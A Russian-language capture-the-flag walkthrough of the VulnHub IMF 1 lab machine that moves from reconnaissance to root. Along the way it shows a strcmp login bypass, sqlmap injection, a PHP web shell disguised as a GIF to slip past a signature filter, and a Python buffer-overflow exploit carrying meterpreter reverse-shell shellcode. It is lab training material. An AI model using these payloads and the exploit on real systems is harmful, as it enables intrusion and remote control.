VulnHub: Разбор IMF 1 и очередное переполнение буфера

$ sudo arp-scan -l -I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-25 22:41 MSK
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)
Nmap scan report for 192.168.1.116
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

Flag 1

Приступаем к поиску директорий на сайте:

$ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json -w /usr/share/dirb/wordlists/big.txt -r -f -x 403

Просматривая каждую из найденых страниц и их код, на странице contact.php, находим первый флаг:

<section id="service">         <div class="container">             <!-- flag1{YWxsdGhlZmlsZXM=} -->             <div class="service-wrapper">                 <div class="row">                     <div class="col-md-4 col-sm-6">                         <div class="block wow fadeInRight" data-wow-delay="1s">                             <div class="icon">                                <i class="fa fa-desktop"></i>                              </div>                             <h3>Roger S. Michaels</h3>                             <p>rmichaels@imf.local</p>                             <p>Director</p>                         </div>                     </div>                     <div class="col-md-4 col-sm-6">                         <div class="block wow fadeInRight" data-wow-delay="1.3s">                             <div class="icon">                                 <i class="fa  fa-paper-plane"></i>                             </div>                             <h3>Alexander B. Keith</h3>                             <p>akeith@imf.local</p>                             <p>Deputy Director</p>                         </div>                     </div>                     <div class="col-md-4 col-sm-6">                         <div class="block wow fadeInRight" data-wow-delay="1.6s">                             <div class="icon">                                 <i class="fa  fa-file-text"></i>                             </div>                             <h3>Elizabeth R. Stone</h3>                             <p>estone@imf.local</p>                             <p>Chief of Staff</p>                         </div>                     </div>                 </div>             </div>         </div> </section> 

Помимо флага flag1{YWxsdGhlZmlsZXM=}, находим тут ещё и список e-mail адресов сотрудников:

estone@imf.local
akeith@imf.local
rmichaels@imf.local

Сохраним его пока, а раскодировав флаг, получаем подсказку к следующему:

$ echo YWxsdGhlZmlsZXM= | base64 -d allthefiles

Flag 2

При внимательном просмотре, там же в коде страниц можно заметить вот такой участок:

        <script src="js/ZmxhZzJ7YVcxbVl.js"></script>         <script src="js/XUnRhVzVwYzNS.js"></script>         <script src="js/eVlYUnZjZz09fQ==.min.js"></script> 

Похоже на base64. Соединив всё вместе, получаем второй флаг:

$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==} $ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d imfadministrator 

Flag 3

На полученной странице, крутится форма авторизации, и довольно интересный комментарий в коде страницы:

<form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form>

Хм, чаще всего для сравнения строк с учётом регистра в PHP используют либо ==, либо strcmp. У последней, есть одна особенность, функция вернёт 0, если строка будет сравниваться с массивом.
Проверим тут это. Заменив pass на pass[], пробуем авторизоваться под логином: rmichaels. Всё проходит успешно! +1 флаг:

flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>

$ echo Y29udGludWVUT2Ntcw== | base64 -d continueTOcms

Flag 4

Переходим по ссылке, и попадаем на страницу:

Присутствие параметров в адресной строке сразу намекает на наличие БД, либо на Path Traversal. Поэтому отдаём страницу в sqlmap и наслаждаемся результатом:

sudo sqlmap -u 'http://192.168.1.116/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent

Получаем несколько информативных сообщений:

[15:23:55] [INFO] GET parameter ‘pagename’ appears to be ‘AND boolean-based blind — WHERE or HAVING clause’ injectable (with —string=«the»)
[15:23:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘MySQL’
[15:24:10] [INFO] GET parameter ‘pagename’ is ‘MySQL UNION query (NULL) — 1 to 20 columns’ injectable

И в конечном счёте, sqlmap выдаёт список доступных баз данных:

available databases [5]:
[*] admin
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Тут наибольший интерес представляет база Admin, с единственной таблицей pages

Дамп этой таблицы

Тут мы видим наличие ещё одной скрытой страницы tutorials-incomplete. Как видно из кода, там всего одно изображение:

QR код тут явно лишний, вырезаем его и отправляем на сайт, где и получаем очередной флаг: flag4{dXBsb2Fkcjk0Mi5waHA=} и подсказку:

$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d uploadr942.php

Flag 5

Перейдя на страницу, открывается форма загрузки файлов. После нескольких попыток, определяем, что загружать можно только изображения: проверяется как заголовок, так и расширение файла. После успешной загрузки, в коде страницы находим название загруженного файла:

<html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1>  File successfully uploaded. <!-- 4e8c80f6f326 --><form id="Upload" action="" enctype="multipart/form-data" method="post"> 	<p>  		<label for="file">File to upload:</label>  		<input id="file" type="file" name="file">  	</p>                        <p>      	<input id="submit" type="submit" name="submit" value="Upload">      </p>  </form> </body> </html>

Проверив директорию uploads, находим там наш файл. Пробуем залить шелл через файл shell.gif:

GIF89a <?php system($_GET['cmd']); ?>

И получаем в ответ ошибку!

ОК, из документации PHP к функциям system и exec, можно узнать что вместо них так же можно использовать вот такую конструкцию:

echo `id`;

Исправим шелл и опробуем его:

GIF89a <?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

Это сработало! Отлично! Находим в этом же каталоге пятый флаг flag5{YWdlbnRzZXJ2aWNlcw==}
И очередная подсказка, куда двигаться дальше:

$ echo YWdlbnRzZXJ2aWNlcw== | base64 -d agentservices

Flag 6

Попробуем поискать этот сервис, используя загруженный PHP shell (команды выполненные через этот шелл будут начинаться с "> "). Вывод запущенных сервисов ничего не дал, а вот файл services оказался интересным:

> cat /etc/services | grep agent cmip-agent	164/tcp cmip-agent	164/udp zabbix-agent	10050/tcp			# Zabbix Agent zabbix-agent	10050/udp agent		7788/tcp			# Agent service

Всё стандартно, кроме последней строки. Но nmap не нашёл этот порт открытым, возможно сервис нужно запустить, либо тут port knocking.
Запустим его:

> agent

Сервис запустился, выдал приветствие, однако порт по прежнему не доступен. Попробовав отыскать сервис, находим рядом интересный файл:

> whereis agent agent: /usr/local/bin/agent > ls -ahl /usr/local/bin/ -rw-r--r--  1 root root   19 Oct 16 08:11 access_codes -rwxr-xr-x  1 root root  12K Oct 12 22:39 agent > cat /usr/local/bin/access_codes SYN 7482,8279,9467

Да, это очень похоже на port knocking, проверяем:

sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788

Starting Nmap 7.01 ( nmap.org ) at 2016-12-30 22:31 MSK
Nmap scan report for 192.168.1.116
Host is up (0.00030s latency).
PORT STATE SERVICE
7788/tcp open unknown
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

Порт открылся, после подключения к нему, снова получаем приглашение сервиса agent.
Это всё хорошо, но для продолжения взаимодействия с этим сервисом ему нужно передать ID. Поэтому скачиваем его себе для дальнейшего анализа:

$ nc -l -p 9999 > agent > nc 192.168.1.124 9999 < /usr/local/bin/agent

Открыв его в IDA, и перейдя на функцию main, можно найти верный ID

Далее после просмотра кода, становится понятно, что после ввода ID сервис открывает меню, и в зависимости от выбранного пункта запускает ту или иную функцию, наиболее интересной тут оказалась функция report

Учитывая, что тут отсутствуют проверки пользовательского ввода, получаем самое обычное переполнение буфера. Запустим его в peda и найдём смещение, по которому расположен адрес возврата. Создаём паттерн:

Передаём его в функцию report

После краха, находим смещения.

Отлично, можно приступить к написанию эксплоита.
Воспользуемся шеллом из Metasploit:

$ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d"

import socket  port = 7788 host = '192.168.1.116' agent_id = 48093572 buf =  "" buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33" buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2" buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b" buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1" buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47" buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8" buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0" buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb" shell = buf shell += "\x90"*(168-len(shell))

Если внимательно присмотреться, на вывод peda после краха приложения, во время локальной отладки, можно заметить, что регистр EAX указывает на начало стека:

На атакуемом хосте включен ASLR, это видно после выполнения команды:

> cat /proc/sys/kernel/randomize_va_space 2

Поэтому воспользуемся методом, который так же известен как ret2reg. Например тут можно подробнее о нём прочитать.

Нужный нам адрес (0x08048563) найден. Дописываем его в эксплоит:

shell += "\x63\x85\x04\x08" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall('%s\n' %(agent_id)) s.sendall('3\n') s.sendall(shell) data = s.recv(1024) print(data)

Запускаем Metasploit:

Наконец, после запуска нашего эксплоита получаем шелл с правами root:

$ python ./exploit_bof.py

И собственно забираем последний флаг:

Декодируем его:

$ echo R2gwc3RQcm90MGMwbHM= | base64 -d Gh0stProt0c0ls

P.S. Вот так выглядят файлы из корневой директории веб-сервера:

index.php

<?php session_start(); $loggedin=false; if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') { 	echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; 	$loggedin=true; } elseif (isset($_POST["user"]) && isset($_POST["pass"])) {     $password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf";     sleep(3); // do not bruteforce     if ($_POST["user"]=='rmichaels') {         if (strcmp($password, $_POST["pass"]) == 0) {             $_SESSION['admin_logged_on'] = 'that is affirmative sir';             echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; 	    $loggedin=true;         } else {             echo "Invalid password";         }     } else {         echo "Invalid username.";     }         } if($loggedin===false) { ?> <form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form> <?php } ?>

uploadr942.php

<html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1>  <?php  // This is an example of how NOT to write a Web Application Firewall function crappyWAF($content) { 	$signatures = array( 		'/\/\*<\?php \/\*\*\//i' => 'Meterpreter payload detected', 		'/eval/i' => 'Eval php function detected', 		'/base64_decode/i' => 'Base64_decode php function detected', 		'/fopen/i' => 'fopen php function detected', 		'/system/i' => 'system php function detected', 		'/passthru/i' => 'passthru php function detected', 		'/exec/i' => 'exec function php detected', 		'/pcntl_exec/i' => 'pcntl_exec php function detected', 		'/popen/i' => 'popen php function detected', 		'/fsockopen/i' => 'fsockopen php function detected', 		'/proc_open/i' => 'proc_open php function detected', 		'/fclose/i' => 'fclose php function detected' 	); 	foreach($signatures as $signature=>$reason) { 		if(preg_match($signature, $content)) { 			return "CrappyWAF detected malware. Signature: " . $reason; 		} 	} 	return true; }  $validextensions = array("jpeg", "jpg", "png", "gif"); if(isset($_FILES['file']['name'])) { 	if(!$_FILES['photo']['error']) { 		$temporary = explode(".", $_FILES["file"]["name"]); 		$file_extension = end($temporary); 		if ($_FILES["file"]["size"] > 100000) { 			Print "Error: File size too large."; 		} elseif ((($_FILES["file"]["type"] == "image/png") 			|| ($_FILES["file"]["type"] == "image/jpg") 			|| ($_FILES["file"]["type"] == "image/jpeg") 			|| ($_FILES["file"]["type"] == "image/gif")) 			&& in_array($file_extension, $validextensions)){ 			 			$contents = file_get_contents($_FILES['file']['tmp_name']); 			$waf = crappyWAF($contents); 			if($waf!==true) { 				print "Error: ".$waf; 			} else { 				if(exif_imagetype($_FILES['file']['tmp_name'])!==false) { 					//PHP Image Uploading Code 					$new_file_name = substr( md5(rand()), 0, 12); 					move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_file_name.".".$file_extension); 					print "File successfully uploaded.\n"; 					print "<!-- " . $new_file_name . " -->"; 				} else { 					print "Error: Invalid file data."; 				} 			} 		} else { 			print "Error: Invalid file type."; 		} 		 	} else { 		print "Error uploading file."; 	} }  ?> <form id="Upload" action="" enctype="multipart/form-data" method="post"> 	<p>  		<label for="file">File to upload:</label>  		<input id="file" type="file" name="file">  	</p>                        <p>      	<input id="submit" type="submit" name="submit" value="Upload">      </p>  </form>  </body> </html>

ссылка на оригинал статьи https://habrahabr.ru/post/318814/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *